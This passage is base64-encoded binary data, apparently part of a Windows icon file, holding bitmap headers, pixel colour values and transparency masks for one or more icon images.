bjPdzW4CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sNS0tLZUtL + S8lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9lLS0sDAAAAAAAAAAAAAAAAAAAAAEtLS19LS0v/S0tL/0tL + S/9LS0vuS0tLk0tLSy5LS0sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4V3c1uXt3NbqndzW7v3c1u/93Nbv/dzW7w3c1uq93N + bmDdzW4XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sAS0tLL0tLS5NLS0vuS0tL/0tLS/9LS0v/S0tLXgAAAAAAAAAAAAAAAEtL + SwRLS0vbS0tL/ktLS8FLS0tdS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uBd3N + bkHdzW5B3c1uBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtLS11LS0vBS0tL/ktL + S9pLS0sEAAAAAAAAAABLS0tKS0tLi0tLSycAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0uLS0tLSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// + //////////////////////////////////5//////////D/////////4H/////////gf////////8A// + ///////wD////////+AH////////4Af////////AA////////8AD////////gAH///////+AAf////// + /wAA////////AAD///////4AAH///////gAAf//////8AAA///////wAAD//////+AAAH//////4AAAf + //////gAAB//////8AAAD//////gAAAH/////8AAAAf/////wAAAA/////+AAAAB/////4AAAAH///// + AAAAAP////8AgAAA/////gAAAAB////+AEACAH////wAAAAAP////AAgBAA////4AB/4AB////gAAAAA + H///8AAAAAAP///wAAAAAA///+AAAAAAB///4AAAAAAH///AAAAAAAP//8AAAAAAA///gAAAAAAB//+A + AgAAAAH//wAAAAAAAP//AAQAAAAA//4AAAAAAAB//gAIAAAAAH/8AAAAAAAAP/wAEAAAAAA/+AAAAAAA + AB/4ACAAAAAAH/AAAAAAAAAP8ABAAAAAAA/gAAAAAAAAB+AD8AAAD8AHwA/+AAB/8APAf//gB//+A4H/ + //w///+Bj/////////H/////////////////////KAAAAIAAAAAAAQAAAQAgAAAAAAAAAAEAIy4AACMu + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPBgAAAAAAAAAA0ZdPBgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwDRl09qAAAAAAAAAADRl09p0ZdPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPR9GXT6kAAAAAAAAAANGXT6nRl09FAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwHRl0/K0ZdPqQAAAAAAAAAA0ZdPqdGXT8nRl08BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPUdGXT//Rl0+pAAAAAAAAAADRl0+p0ZdP/9GX + T08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwPRl0/T0ZdP/9GXT6kAAAAAAAAAANGXT6nRl0//0ZdP0dGXTwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPW9GXT//Rl0//0ZdPqQAAAAAAAAAA0ZdPqdGX + T//Rl0//0ZdPWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/b0ZdP/9GXT//Rl0+pAAAAAAAAAADRl0+p0ZdP/9GXT//Rl0/Z0ZdPBAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPZdGXT//Rl0//0ZdP/9GXT6kAAAAAAAAAANGX + T6nRl0//0ZdP/9GXT//Rl09jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwjRl0/i0ZdP/9GXT//Rl0//0ZdPqQAAAAAAAAAA0ZdPqdGXT//Rl0//0ZdP/9GXT+HRl08HAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPb9GXT//Rl0//0ZdP/9GXT//Rl0+pAAAAAAAA + AADRl0+p0ZdP/9GXT//Rl0//0ZdP/9GXT20AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwzRl0/o0ZdP/9GXT//Rl0//0ZdP/9GXT6kAAAAAAAAAANGXT6nRl0//0ZdP/9GXT//Rl0//0ZdP59GX + TwsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 